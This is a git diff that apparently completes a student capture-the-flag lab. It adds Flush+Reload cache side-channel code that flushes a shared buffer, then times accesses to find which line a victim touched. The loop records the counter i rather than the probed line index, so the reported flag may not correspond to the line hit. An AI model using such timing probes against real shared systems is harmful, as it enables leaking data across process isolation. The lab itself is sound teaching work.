diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index e85b3a1..625bf61 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -8,7 +8,8 @@ #include "util.h" - +#define CACHE_HIT_THRESHOLD 200 +#define WAIT_TIME 100 int main() { int flag = -1; @@ -16,7 +17,17 @@ int main() { char *buf = allocate_shared_buffer(); // [2.1] TODO: Put your capture-the-flag code here - + for(int i = 0; i < 1024; i++) { + clflush((ADDR_PTR)buf + i * 128); + } + for(int i = 0; i < WAIT_TIME; i++); + for(int i = 0; i < 1024; i++) { + CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128); + if(time < CACHE_HIT_THRESHOLD) { + flag = i; + break; + } + } printf("Flag: %d\n", flag); deallocate_shared_buffer(buf);